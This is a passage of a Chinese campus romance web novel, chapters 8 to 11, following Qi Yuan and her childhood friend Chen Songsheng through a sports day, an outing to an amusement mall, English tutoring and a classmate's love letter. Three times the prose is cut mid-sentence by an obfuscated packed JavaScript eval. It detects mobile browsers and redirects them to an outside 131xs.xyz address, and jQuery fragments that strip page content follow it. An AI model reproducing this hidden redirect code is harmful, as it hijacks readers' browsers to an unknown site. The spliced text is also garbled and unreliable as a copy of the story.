就这样静静地看了一会儿,他又问:“以前也常来?” 这算什么,都开始没话找话了吗? 而且为了防止吵到别人,他俩的声音都压得不能再低了,和在耳边说悄悄话没什么区别,就是听的费劲。 “对。”她叹了口气,回道。 陈颂声重新换了个舒服的姿势靠着,两个人都全神贯注地看着自己手上的书,周围安静得只有沙沙的翻书声。 好不容易静下心来,看了没几分钟,不远处的楼梯跑上来两个小孩子,一个手里拿着奥特曼,另一个手里拿着一本童话书。 其中穿红色衣服的,年纪比较小的跑了过来,祁苑和陈颂声同时抬头。 这小男孩模样瞧着左不过四五岁,他望着前面坐着的两个人,突然叉开了步子大喝一声:“前进!向着银河的尽头!” 这层楼的人都被声音吓到了,纷纷合上书开始寻找噪声的来源。 小男孩还想说话,和他一起来的那个,个头稍微高一点的小姑娘怒气冲冲地走过来,揪住他的耳朵把他往楼梯口拽:“你真没有礼貌,吵死了!我去告诉叔叔阿姨!” 被熊孩子过来一闹,祁苑看书的心思彻底没了,她合上书本,揉了揉眉心,过去把书放回了原处,陈颂声跟在她身后:“书是看不下去了,去公园转转?” 她想了想,点点头。 本来就是想着出来放松放松的,总不能现在回去吧,在家待的都快喘不过气了。 喷泉公园里散步的人居多,除此之外,就是精力旺盛睡不着觉的小孩子。 中央花坛的边上,有两对年轻夫妻在交谈,不远处有两个小孩在打闹,他们瞧着眼熟的很,好像是刚才在图书馆里遇到的。 祁苑找了一把空着的长椅,坐了下来,陈颂声一声不吭地坐在了她的身边。 他们实在没事可干,于是开始盯着那两个小孩子。 奥特曼跑到了小姑娘的手里,而童话书则被小男孩拿着,小男孩恶狠狠地说道:“把奥特曼还给我,不然我就给你撕了!” 小姑娘穿着碎花裙子,也不甘示弱,上前一步:“你敢撕,我就把你的奥特曼胳膊拆下来,头卸掉,丢池子里喂鱼!” 两个人都凶得很,谁也不怕谁。 几个大人似乎注意到了这边,其中一个年轻男人走过来,应该是小男孩的父亲,抬手给了小男孩一记爆栗:“把书还给人家,谁允许你欺负妹妹的?” 看着这一幕,陈颂声对旁边的人说:“你觉不觉得,这一幕似曾相识?” 8. 半生 似曾相识吗? 这不就是陈颂声和祁苑的缩小版吗…… 小男孩被爸爸批评后,恹恹地把头垂了下去,委屈极了。 “你以前就这么欺负我。”陈颂声说完,起身就走。 祁苑追了上去,对准某人的后脑勺就是一巴掌:“说谁呢。” 这个动作熟练的她自己都没有反应过来。 陈颂声捂着后脑勺,幽怨地瞅了瞅她:“亏我还以为七年不见你变温柔了,这下现原形了吧,你不应该属蛇。属虎的吧?” “你再说!”在他面前,祁苑也没必要端着了,扬起手恐吓道。 陈颂声捂住脸:“君子动口不动手!” 祁苑撸袖:“我又不是君子。” 两人一路上打打闹闹,好不欢乐。 - 十月中旬,学校运动会如期举行。 由于班里没多少人主动报名,祁苑被体育委员安排了一个女子一百米和铅球,她向体委说明了自己的身体原因,把一百米撤掉了,换成了其他人。 那天需要早早地去学校准备,而陈颂声身为高三生,这运动会自然是和他没关系了,人家忙着比赛,他坐在教室里和老师大眼瞪小眼。 祁苑来到场地,进行一些相关的检验工作,等运动会主席宣布开始时,她和其他运动员被带到了运动场上。 中途课间能够休息二十分钟,参加女子铅球的运动员正在进行检录,陈颂声到了操场,远远地就看见了穿着马甲的祁苑。 陈颂声走到她身旁,敲了敲她的脑袋。 祁苑的余光扫到一片衣角:“您老怎么有空过来?” “闲得慌,来瞧瞧,”他顿了顿,忍不住问道,“你……能扔铅球?” “铅球而已,又不是什么剧烈运动。”她转头说道。 陈颂声:“我的意思是,你这小细胳膊能扔的动铅球?不怕折了?” 就知道从他嘴里吐不出什么好话,祁苑冲他翻了个白眼:“待会就让你看看小细胳膊的能耐。” 轮到祁苑上场了,她拉伸了一下胳膊,拿起铅球,摆好预备动作,随着裁判员一声令下,铅球被推了出去。 丈量裁判员走过去:“九米六。” 陈颂声听到这个成绩,眉梢一挑,还可以嘛。祁苑回来的时候,陈颂声一直盯着她那只扔铅球的手。 “别看了,没折,”祁苑为了证明自己,抬起胳膊在他眼前甩了几下,“能不能盼着我点好?” “我这不是关心你吗?”陈颂声从背后拿出一袋面包和一瓶水。 祁苑有些意外。 陈颂声拧开水瓶盖递给她:“知道你不吃早饭,从家里给你带的。” 祁苑拿到手喝了一口,她确实不怎么吃早饭,就连那次在他家,都是被他连拖带拽才去了生煎店,实际到那儿也没吃多少。 “虽然扔个铅球费不了多少体力,但是早饭最好还是要吃,万一哪天走在半路就低血糖了呢。”陈颂声苦口婆心地劝她,祁苑看的一愣一愣,只能点点头。 他也就这二十分钟能出来溜达,知道祁苑后面没有项目了之后,又交代了几句才回教室。 第二天下午,运动会还在继续,祁苑百般无聊地坐在看台上扒拉着手机,她的后桌赵书琳撑着伞走到她跟前:“苑苑,一起去小卖部逛逛呗。” “走。”祁苑正闲得没事可干,二话不说就答应了。 同行的还有班里的历史课代表左楠。 祁苑独自撑了一把伞走在最前面,左楠和赵书琳在后面谈着闲。 她们说最后一排学习不太行的那几位,在运动会上可创下不少战绩,尤其是那个篮球队的,一千五百米长跑和跳高都是第一名。 小卖部外停了好几辆电瓶车,都是来给自己班里的运动员运水的。 祁苑收了伞往里边走,冷饮柜那儿围了一圈的男生,个个汗流浃背,一过去就觉得周围热气腾腾。 她正要从他们身后的过道穿过去,夹在正中间的那个穿白T的毫无征兆地转了过来,和祁苑撞了个满怀。 这个人也没多少心思去管自己究竟撞到了谁,转身的那一刻有些拥挤,瞬间意识到不对,他赶紧手臂交叉放在胸前,让自己尽量减少和陌生人的接触。 “抱歉!”两个人异口同声,听到对方声音后一个低下头,一个抬起头,嘴里有句问候语不知当讲不当讲。 ……又是你。 真抬头不见低头见。 “哟,真巧。” 陈颂声左手上拿了冰水,而那只腾出来的手原本是悬在半空的,在看清这张脸之后,他一点也不怜惜地揉了揉祁苑的头,就像摸小狗似的。 祁苑躲不及,感觉自己的脑袋被一只罪恶的手狠狠地摸了一把。 趁着这个机会,陈颂声挟着祁苑挪去了人不多的地方,她赶快吸了口新鲜空气,然后迅速从对方臂弯里移开,神色有些不自然地笑了笑。 “怎么,有汗,嫌弃啊?”陈颂声觉得有些好笑地开口说道。 “你话真多。”祁苑扭头,忽觉眼前人山人海,似乎忘记了什么。 “诶,她们人呢?” 陪人家来的,结果人搞丢了。而且这个时间段,小卖部里男生比较多,又普遍的人高马大,祁苑踮起脚想找找人,却只有不停攒动的人头。 她的手机在口袋里振动了起来,是赵书琳打来的语音通话:“苑苑你跑哪儿去了?” “我在冷饮这里,”这边的人不减反增,交通堵塞的厉害,她改口道,“人太多了,我去后门找你们!” 挂了电话,祁苑试图挤进人群,可惜失败了,那些人像疯了一样挤作一团,一点缝隙也不留给她。陈颂声在一旁泼冷水:“小细胳膊挤不进去吧。” 祁苑懒得理他,正想办法,陈颂声换了只手拿水,顺势揽过她的肩,混入人群,顺着这股人流往收银台走去。 他们前面是一个皮肤黑黑的男生,手里举着一扎矿泉水,这条路他们走的格外漫长,走了半天走不到尽头。男生估摸着也累了,想弯下手臂歇一歇,不料手上打滑,东西向着后面倾倒下来。 祁苑吓得瞳孔震颤,慌慌张张地抬起手抱住了自己的头,她被人大力地按着往怀里搂了搂,东西也没有如预想当中的那般砸下来,她的心脏在扑通扑通地狂跳。 等她把手拿开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447570|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见一条手臂正挡在自己面前,手臂上青筋暴起,线条明显而流畅,扎扎实实地挡着那六七公斤的重量。前面那个男生听到声响回头,像受到了惊吓,眼睛瞪得如铜铃一般,重新把水举过头顶,忙不迭地道歉:“对不起对不起……” 为了防止她被挤到,陈颂声的手依旧挡在她的身前没有收回,把她整个人都圈在了怀里,她注意到那只手的手腕处有些泛红,是因为刚才抵住了那箱水。 他们排了不知多久才看见门口的位置,祁苑额前的碎发被汗打湿,紧紧地贴着额头,她在心里嘀咕着,大热天的来这儿什么都没买,却愣是被挤成了刚出锅的饺子。 简直没办法想象后面那些买雪糕的人,就目前的情况来看,等排到门口估计只剩下一根雪糕棒了吧。 等前面的人付完钱,祁苑跟着出了小卖部,树荫下有两个人打着伞,各自拿了一瓶水,还有一张不知哪儿来的宣传单,在疯狂地扇风,看来也是刚从里面逃出来。 “苑苑!”赵书琳几乎跳了起来。 “失算了,没想到这么多人!”左楠擦着汗说,显然很后悔跑来这儿,话音刚落,充盈着浓浓怨气的眸子亮了起来。 六七米开外,陈颂声拉住一个把箱子往电瓶车上搬的男生,说了几句话,那人打了个响指,给箱子开了个口掏出一瓶水。 祁苑认得这个人,是陈颂声的同学,烧烤店那次他也在。 陈颂声把水给了祁苑:“差点被挤扁就算了,还空着手出来,你是怎么想的?” “又不参加运动会,你同学搬这么多水干什么?”祁苑好奇问道。 “他游戏输了,代我们班去慰问一下学弟学妹。” 祁苑张了张嘴,感受到有两束炽热的目光注视着这里,她拍了拍陈颂声,简单地介绍道:“这是我朋友,高三的。” “学长好。”这俩直勾勾地盯着陈颂声,哈喇子都要流出来了。 陈颂声冲她们礼貌地点点头,把祁苑拉到一旁:“忘了说了,下周开始我就要连上半个月休一天了,你数着日子,到我放假那天你就直接去仓库。” “去那儿干什么?”祁苑不解。 “帮你补英语。” 她竟然有些感动:“你就放那一天,还想着给我补习呐?” 然而陈颂声仅用一句话,就瞬间打破了她的想法:“不然你那英语成绩上不去,老陈会在我耳边念叨死的。” “记着啊。”他临走之前又提醒了一遍。 等到看不见他的身影,赵书琳和左楠冲了上来,一左一右将她夹着,赵书琳撞了撞她的肩膀:“这帅学长哪儿勾搭的?” “一个幼儿园的。”祁苑脱口而出。 赵书琳再也抑制不住激动的心情:“青梅竹马呀这是!” “就单纯的朋友,没别的关系了?”左楠接话道,带了些许试探的意味。 祁苑哪儿能想那么多,无奈回答:“就是普通朋友,能有什么关系?” 说完这句话,她想起在小卖部里,陈颂声把她护在怀里那个举动,一下子恍了神,甚至陈颂声打趣的声音还回荡在她的耳边: ——“怎么,有汗,嫌弃啊?” 9. 半生 这家伙是长的不错,可她在想什么? 放学回家的路上,左楠破天荒地来找她一起走,祁苑还奇怪呢,她俩顶多就是和赵书琳玩的比较好,平时也没多少交集,居然主动来找她。 事出反常必有妖。 左楠心里那点小九九是一点也不藏着,上来就向她打听陈颂声的事儿:“你那个朋友叫什么名字啊?” “怎么了?”她没有说。 “长那么帅应该有女朋友吧?”左楠迂回说道。 祁苑不禁扯了扯嘴角,这是摆明了对他有意思呢,还特意跑来套话来了。 “没有,就他平时那副样子,哪儿会有姑娘喜欢他?”哪怕是这样,都这个时候了,祁苑还是止不住地想要损他两句。 左楠若有所思道:“你俩不是青梅竹马吗,为什么不谈?” 祁苑差点因为这句话被自己的口水呛到:“咳咳,谁说青梅竹马就一定要谈恋爱?再说了,我是有多想不开才跟他谈。” 祁苑的态度给了左楠莫名的底气。 周日,赵书琳约了一帮朋友去新开的游乐商城玩,其中就有祁苑和左楠。 周五晚上赵书琳提出这个邀请的时候,祁苑是想拒绝的,因为答应了陈颂声要去秘密基地补英语来着。 奈何赵书琳嘴皮子太厉害,轮番攻势下实在是招架不住。 左楠忽然提起了陈颂声:“苑苑,你把你那个朋友也叫来一起玩呗。” 祁苑还没开口,赵书琳先说话了:“学长都高三了,哪儿有功夫出来玩,咱就别打扰人家了。” 祁苑附和道:“对啊,他挺忙的。” “那好吧。”左楠的语气有些失落,不情不愿地答应了。 祁苑回去后给陈颂声打了个电话,告诉了要放他鸽子的事,对方很惋惜地叹了口气,却没有忘记叮嘱她:“自己心里有点数啊,不该玩的别玩。” 游乐商城划分为室内和室外,涵盖了不少的游乐项目。 一行人去了那儿直奔大摆锤,祁苑光在底下看着就已经双腿发软了,最后和另外一个女孩子一起去坐了旋转木马。 接着又是过山车又是海盗船,祁苑不敢玩这些刺激性项目,她去摩天轮上待了一圈,然后就在椅子上坐着等他们结束。 赵书琳还没玩尽兴,搂住祁苑说道:“苑苑,那个过山车真的绝了,你不能玩简直太可惜了!” 室外结束后转战室内,相比之下里头的可柔和多了,打电动、抓娃娃、打冰球等等,可算是有她能玩的东西了。 祁苑把一门心思全扑在了抓娃娃机上面,不过怎么也抓不到,要么一开始就抓空,要么快到机口爪子就松了。 赵书琳从另一边过来,递给她一部手机:“苑苑,你电话响了。” 她今天穿的是裙子,出门也没带包,身上没有地方可以装手机和钥匙,玩的时候为了方便她就放进了赵书琳的外套口袋。 “喂?” “玩的怎么样啊?”那边传来陈颂声懒洋洋的说话声。 “还行。” “你好好玩吧,下午可没那么轻松了。” 没错,这会儿潇洒快活,下午可就是铺天盖地的英语习题了。 她不是很想面对:“知道了,你不要提醒我。” 电话挂断后,她看都没看,重新放回了赵书琳的口袋里,锲而不舍地抓起了娃娃。 “五楼有个鬼屋诶,我们去看看吧!”不知是谁提了一嘴,不出所料得到了全体的认可,当然,这里面不包括祁苑。 她没有出声,被赵书琳挽着胳膊跟在了大部队后面,浩浩荡荡地向着五楼进发。 一行人在买票,祁苑对赵书琳说:“我在外面等你们。” 赵书琳:“要不我留下来陪你吧。” 祁苑将她推到门口:“你和大家去玩,不用担心我,这么大个人还能丢了不成?” 赵书琳:“那你去对面咖啡厅坐着吧,我们很快就出来了。” 赵书琳准备进去了,在入口向祁苑招了招手,他们一只脚刚迈进去,骇人的声音骤然响起,四周升起一股凉意。 “欢迎来到惊魂洞——” 祁苑起了一身的鸡皮疙瘩,头也不回地走进了咖啡厅。 她才坐下来,远远儿就听见了自那边传来的震耳欲聋的尖叫声,有两个人跑了出来,还没喘口气就被人拽了回去,那动静何止一个“惨”字可以形容。 她坐着无事可干,两只手往身上摸去,想起来手机被赵书琳带进了鬼屋,忘记找她拿回来了。 现在好了,只能眼巴巴地等他们出来了。 十分钟过去,祁苑趴在桌子上打起了盹,“惊魂洞”里的情况也不容乐观。 原指望着男生胆子大点,能带他们突出重围,谁想到才转到第二个拐弯的地方,一群人分成了两拨,女生一堆,男生一堆,吓得根本不敢动。 “是男人吗你们?” 赵书琳和几个女生抱团蹲在角落,劈头盖脸一顿数落。 个子最高的那个感觉有被挑衅到,撒开同伴的手,义无反顾地往里面走去,下一秒从旁边的墙壁上弹出来一个挂着舌头的白无常,他“嗷”地一声弹了回去。 随后一群人抱在一起,拖家带口地进了下一个洞穴,他们一脚触发了机关,眼前烟雾弥漫,从地上爬起来几具骷髅,赵书琳被挤到了最外面,她被吓的大呼:“救命!别留我在这儿啊!” 黑暗中他们的身上好似有无数双手,分不清谁是谁的。 赵书琳无意间触到了口袋里一直没有熄屏的手机。 屏幕显示正在通话中。 “喂,又怎么了?” “喂?” 某群人:“——啊啊啊啊啊啊!” “你在哪儿?” 某群人:“——啊啊啊救命啊!” “祁苑!” 祁苑一觉睡了二十分钟,人还没出来,她用手垫着下巴,透过玻璃四处张望。 是没睡醒眼花了吗?她居然在人群里瞧见了陈颂声的身影。 她直起腰拼命揉了揉眼睛,真的是他!拿着手机好像在寻找什么,还挺着急的样子。 祁苑站起来敲了敲玻璃,他朝这边看过来了。 她跑出去道:“你怎么过来了?” 陈颂声抓着她的胳膊把她捞了过来,从头到脚打量了一遍,见她没什么异样,松了口气:“你刚刚干什么去了?” 祁苑一头雾水:“睡觉啊,就在那儿。” 说完,她还指了指刚才在咖啡店里坐的位置。 “睡觉?我接到你电话,结果你又不出声,就听见这边一通滋哇乱叫,还以为你怎么了!” 祁苑看见两滴汗顺着他的脖子滑了下来,知道他是真着急了。 她一时愧疚道:“手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447571|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在我同学身上,我好像是没锁屏,估计被她不小心碰到了。抱歉,让你担心了。” 陈颂声接到电话后差点急死,打了车就过来了,听声音猜测是在这边,差点跑岔气,他看了下挂在上面那血红的三个大字,问道:“真没进去啊?” “我还想多活几年。”祁苑说道。 他跟着祁苑去了咖啡厅坐下:“你同学进去多久了?” 祁苑:“快半小时了。你要喝点什么吗?” “喝的就不用了,等人出来了,你拿上手机,我带你去吃饭。”陈颂声的食指在手机屏幕上来回滑动着。 “难为你跑这一趟了,我请客吧。” “那我就不客气了。”陈颂声抬眼一笑,典型的桃花眼。 盯着他的眼睛,祁苑鬼使神差地问出了口:“有没有女孩子追求你?” 陈颂声认真地思考了一下,回答她道:“在以前的学校没有过,转到这儿之后倒是有不少。” 他的桃花眼又加深了几分笑意,像是个无底的漩涡,似乎要把人吸进去:“现在知道我帅了,想追求我啊?” “没有,我就问问,我可不早恋。”祁苑连忙否认。 不知道从哪一天开始的,这张脸越看越顺眼,特别是冲她笑的时候,竟觉得好看的过分。 陈颂声又气又笑:“这话说的,好像我喜欢早恋似的。” 祁苑缓缓地避开了目光。 “他们出来了。” 几个人出来时胳膊都是红的,看来玩的挺开心。 祁苑从赵书琳那里取回了手机和钥匙,她第一时间打开手机,上面竟然有二十几个未接来电。 “我朋友来找我吃饭,你们要一起吗?”祁苑问道。 赵书琳认出了陈颂声,大大方方地打了个招呼:“学长好!” 陈颂声笑着摆了摆手。 她说:“你们去吃吧,我们还想再玩会儿呢。” “那我先走啦。”祁苑小跑着去找陈颂声,两人往电梯走去。 左楠见状,拉着赵书琳道:“我们也去吃饭吧,我都快饿死了。” “我之前问你,你不是说不饿吗?”赵书琳挤出了大小眼,随即应道,“好吧好吧,那就吃饭去吧。” 陈颂声选了一家做东北菜的餐厅,祁苑把菜单推给他:“你点吧。” 上来的头一份是锅包肉,是她很喜欢的一道菜,色泽金黄,瞧着卖相不错,祁苑的肚子不合时宜地叫了起来。 陈颂声夹起一块到她的碗里:“饿了就吃吧,不用管我。” 见她有些犹豫,怕她不好意思先吃,他又夹了一块到自己碗里,和她一起吃。 祁苑埋头正吃着锅包肉,绑紧的头发突然散了下来,她抬手向后抓了一把,摸到一根断了的头绳。 断裂的地方被扯得很松了,能撑到今天不容易。 陈颂声掏了掏口袋,身上可没有头绳之类的东西,紧接着他取下了左手戴的珠串,走到她身后,替她扎起了头发。 这一幕被紧随其后的左楠看在眼里,她暗自攥紧了衣角。 “谢……谢。” 祁苑的耳根染上一丝红晕,她记不得这是第多少次对他说的谢谢了。 陈颂声一边扎一边说:“这两个字我都听腻了。” 扎好以后他注意到了她的不对劲,俯身摸摸头说道: “心动啦?” 10. 半生 祁苑结完账去洗手间了,陈颂声在餐厅门口等她。 一个女生背着黑色背包走过,拉链没拉好,身份证从包里掉了出来,刚好落在他的正前方。 女生没听见一般埋头向前走。 陈颂声叫住了她,过去捡起:“同学,你的身份证掉了。” 女生顿住,回头看他,然后低着头接过了身份证,声音柔柔说道:“谢谢。” 道完谢后她没有着急离开,而是当着陈颂声的面把身份证装回了包里,她的动作就像是开了零点五倍速一样。 陈颂声歪头盯着她略显刻意的举动,他看了都着急,真的很出手帮她,她往包里掏了大概一分钟,不过是一张小小的身份证,终于被她塞进去了。 等她走后,陈颂声换了一副表情,这张脸绷半天都快僵了。 如果他没看错的话,那张身份证上的名字应该是,左楠。 人瞧着挺眼熟,貌似在哪里见过。 祁苑从餐厅走了出来,被他的表情逗笑了:“干嘛呢?” 陈颂声一秒恢复正经:“你是有个同学叫左楠吧?” “你怎么知道?”祁苑擦擦手道。 “她刚才走到这儿身份证掉了,我就捡起来还给她了。” “身份证掉了?”祁苑此刻的表情和他刚才的一模一样,一样的好笑。 故意的吗?还是她想太多了? 搞这一出。 陈颂声:“看来你知道点儿什么。” 祁苑道:“知道什么?知道人家对你有意思?” 她紧跟着默默说了一句:“招蜂引蝶。” 陈颂声以为自己听错了,伸手拽住她的后衣领不让她走:“说我什么?” “我说,快走。”祁苑用力蹬了蹬地面,像头牛一样往前冲。 “我听到的是四个字。” “你耳朵不好,我说的是两个字。” 祁苑被揪着衣领走了一路,活像不学好的小女孩被逮到了一般。 陈颂声拿出一本初中英语习题,甩在了桌子上:“你先写吧,我看看你究竟是个什么水平。” 祁苑拿到手看了看封面上“七年级”这三个格外突出的大字,陷入沉思。 陈颂声叹气说道:“知足吧,我没拿小学英语已经算是尊重你了。” 写了一下午,祁苑笔头都快咬烂了,明明二十六个字母她都认识,可拼在一起她就晕了,于她来说仿佛在看火星文。 陈颂声也被折磨的不轻,跟她讲语法她也不是很能听得懂,他身心俱疲地合上习题,对祁苑说:“也别隔半个月了,以后晚上放学就过来吧,你这英语得从头补起。” 这对祁苑来说无疑是晴天霹雳。 周一,学生们开始新一轮的煎熬。 左楠不知从哪儿打听到了陈颂声的名字,还搞来了他班级的位置,她整整一节数学课都在忙着在纸上写写画画,还被陈扬批评了一顿。 下了课她找到高三九班,随机抓住一个从教室里冲出来的男生就问:“你好,请问陈颂声是在这个班吗?” 男生点点头。 她从口袋里掏出一张叠好的纸:“我是高一六班的,麻烦你帮我把这个交给他。” 许是习以为常了吧,男生并没有太大的反应。 她亲眼看着那个男生走到第三排,把纸夹进了其中一个的笔记本里,满意离开。 - 陈颂声前脚到了仓库,后脚就接到一个电话,他顺手把包丢给了祁苑:“你先把我给你整理的英语笔记拿出来看一看。” 然后出去了。 祁苑拉开拉链,找到了那本厚厚的英语笔记,随便翻了翻,不同颜色的字母和汉字密密麻麻地穿插在一起,她的头又开始疼了。 翻到后半本,发现夹了一张纸,也不清楚里面写了什么,她便没有打开来看,只是右上角一颗涂实的红色爱心把她的目光吸引了过去。 这是情书吗? 这张纸折的倒挺好,她翻到另一面,白花花的纸上有一个格外清晰的倒过来的颂字,特别像是写着写着笔漏油了,导致这个字渗到了背面。 她合上笔记本,原封不动地放到桌上,翻开了昨天没写完的习题。 陈颂声回来时嘴里念叨了一句“有病”,瞧见她正乖乖地坐着,还惊讶了一番:“挺自觉啊,居然主动写习题。” “笔记看了吗?都是最基础的语法。”陈颂声拿起笔记本,坐到她的对面,翻开了第一页,神色没什么不对。 祁苑的思绪飘向了九霄云外。 这情书是他自己放的还是别人放的? 如果是别人放的,那他知不知道有这封情书? 祁苑没有及时地搭理他,陈颂声一眼看出她心不在焉,敲了敲桌子。 祁苑茫然:“啊?” 陈颂声立起本子抓着书脊晃了晃,“我问你笔记看了没?” 许是她没给夹紧,那张纸掉了出来,飘到了地上,那颗爱心刚好正对着他。 好了,不用她动手了。 陈颂声僵住,半晌后捡起那张纸,喃喃道:“什么玩意儿?” 他把纸打开,皱着眉从头看到尾,祁苑看见他右手的小拇指抽了抽。 空气安静得可怕,他幽幽地把视线挪到祁苑的脸上,盯得她心里直发毛。她还是装作什么都不知道的样子:“什么东西啊?” 陈颂声缓缓吐出两个字: “情书。” 陈颂声把纸和本子翻来覆去看了好几遍,回想起刚才那通电话,是他同学,也不知道从哪条山沟里打来的,信号差到爆了,讲了半天没讲明白重点,他听得云里雾里。 只听到了“女生”“一流”“下课”这些字眼。 这么结合一看,是在说这个? “一流到底是什么?”他想破头也没想明白什么一流。 一流……一六,高一六班吗难道是? 祁苑被自己的想法吓到了。 她顷刻间失去了做题的心情,转了转笔说:“学长就是学长,果然受欢迎,都有人写情书了。” “什么时候塞过来的?”陈颂声略微烦躁地翻了翻本子。 据他所知,暗地里喜欢他的是不少,但被人递情书还真是人生头一回。 “这要问你啊,什么时候让人家钻了空子?东西被人动过了都不知道。”祁苑用一种自己都没察觉的怪怪的语气说着。 那张纸被陈颂声捏得皱皱巴巴。 他说:“我怎么感觉你在阴阳我?” 祁苑掩饰道:“情书而已,又不代表什么,我有什么好阴阳你的?” 陈颂声第一次碰见这种场面,况且他不知道对方是谁,即便是有人给了他情书,他也不好做出什么实际性的答复。 后来陈颂声的同学告诉他,是高一六班的一个女生送来的情书。 听到是祁苑所在的班级,陈颂声当即心里有了底。 “长什么样子?” 同学说:“丸子头,瓜子脸,戴眼镜。” 得知样貌,这下他更加的确定了。 陈颂声有想过,毕竟对方是女孩子,还是祁苑的同学,往后肯定还得见到,总不至于让对方太难堪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447572|169450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他找了个机会把它交给祁苑,请她帮忙把情书还给左楠。 那会儿是物理课下,祁苑看左楠的座位附近没有人,她过去了,将东西放进了她打开的物理书,然后转身就走了。 左楠回到座位看到了,打开后,看到背面写了一段话,字迹秀气工整,很利落地拒绝了她。 “谢谢你的喜欢,但很抱歉。祝你学习进步,每天开心。” 其实早就想过会是这种结果,可她还是止不住的难过起来,她把纸叠好塞进了抽屉,趴在桌上闷闷不乐。 后面几天左楠还是照常去找祁苑玩,仿佛什么都没有发生过,安安稳稳地过了两个星期。 体育课上,跑完两圈后老师允许他们自由活动,男生都跑去足球场踢足球去了,女生组成的小团体比较多。 和祁苑关系好的几个凑作一堆坐在跑道边上,玩起了数字炸弹游戏,输的人要选择真心话或者大冒险。 几轮结束,祁苑抬头说道:“这天似乎要下雨啊。” 赵书琳摇了摇她:“到你了苑苑,你前面已经输两把了,再输就只能大冒险喽。” “十二到三十,说一个数。” 祁苑说:“二十五。” “砰!又炸了!”翻开手机,备忘录写着数字“25”。 祁苑看向赵书琳,到底该说她乌鸦嘴,还是说自己运气背啊,她的命中率不是一般的高。 “大冒险来喽!” 一个女生抽出了事先准备的纸条,念道:“请给通讯录里的第一个人打电话,向对方说‘我喜欢你’。额,你应该带手机了吧。” “哇哦!”其他人纷纷起哄。 祁苑没办法,翻开了通讯录。 她的通讯录里并没有多少人,一上来就是由C开头的,C列表里有四个人,其余三个都是她以前的同学,这些不重要。 重要的是,第一个人,是陈颂声。 赵书琳看到名字,把发呆的左楠拉了过来,全程一副看热闹的笑容:“哦?是学长诶!” “可他在上课啊,”祁苑为难道,“要不换一个?” “你忘了?今天是周四,而且那个清扫就几分钟的事儿。”赵书琳提醒。 他们学校有一个比较特别的地方。 高三没有专门的体育课,可在每周四下午的第二节,会安排初三和高三进行集体清扫活动,需要把固定的区域打扫干净,还不能强制学生上课。 清扫活动会一直持续到毕业前的两个月。 祁苑傻眼,她怎么把这茬给忘了。 这帮人哪儿会这么轻易地放过她,在知道他是本校的高三生之后更兴奋了。 祁苑点开号码,心想,开个玩笑,他应该不会介意的吧,他那么聪明,肯定一下就能猜出来这是在玩游戏。 响铃后秒接。 祁苑自认为他不会相信,淡定地打开了免提,而陈颂声永远都会在她开口之前先出声。 “怎么了?” 虽然他这么问,但是语气里听不出半点情绪,上课时间打电话给他,他就一点儿不觉得奇怪吗? 虽然她此刻应该问的是为什么一个高三生还能用手机,但条件不允许她说这些没用的。 祁苑闭上眼,一鼓作气闷头说道:“我想说……我喜欢你。” 对方沉默了。 她睁开一只眼睛,看着手机界面上的通话时长不敢说话,心想他可能是无语了吧,仗着关系好就没事儿打电话逗他。 “没事了。” 祁苑准备挂掉电话,他的声音再度响起。 “我去找你。” 11. 半生 所有人都不淡定了,祁苑把手机凑近耳朵边:“什么?” 电话挂了。 他是说他要来找她吧,去班级找她? 但如果班里没人的话,他就知道她在上体育课了,不会要找来操场吧? 祁苑越想越害怕,想要发个信息告诉他是游戏,叫他别来,被同学阻止了:“别想通风报信啊,下课前不能给他发消息,咱先看他来不来。” 游戏进行到下一轮,祁苑根本冷静不下来。 她仰起头,一滴雨落在了她的脸上。 下雨了? 她伸出手去接,不容反应,淅淅沥沥的小雨转为豆大的雨点砸了下来,一眨眼的功夫,天空阴云密布。 “下雨了!大家快回教室!”体育老师吹着哨子在檐下喊着。 所有人立刻从地上爬起来,用手抱着头往回跑。 雨越下越大,几个男生用手臂夹着球在雨里慢悠悠地走着,时不时撩一下头发,仿佛淋雨是一件很帅的事情。 也有女生不想淋雨,躲进了操场旁的器材室里,准备等雨停了再走。 由于学校的操场和校区是分开的,中间隔了一条马路,故两地以一座天桥衔接,他们要跑回去还需要一段时间。 祁苑跑不快,被其他人甩在了后面,反正已经淋湿了,她抱着一种破罐子破摔的心态,小步地跑着。 眼看着离天桥很近了,所有人都在往上面冲,只有一个人撑着伞在逆行而下。 他的脚步很匆忙,在一片雾蒙蒙中找到祁苑后把伞凑了过去。 察觉到有东西挡在了头顶,她停下来看他,这场雨实在太大,即便是有伞也还是避免不了被淋湿:“下雨了还来?” “我不来你岂不是要被淋死?” 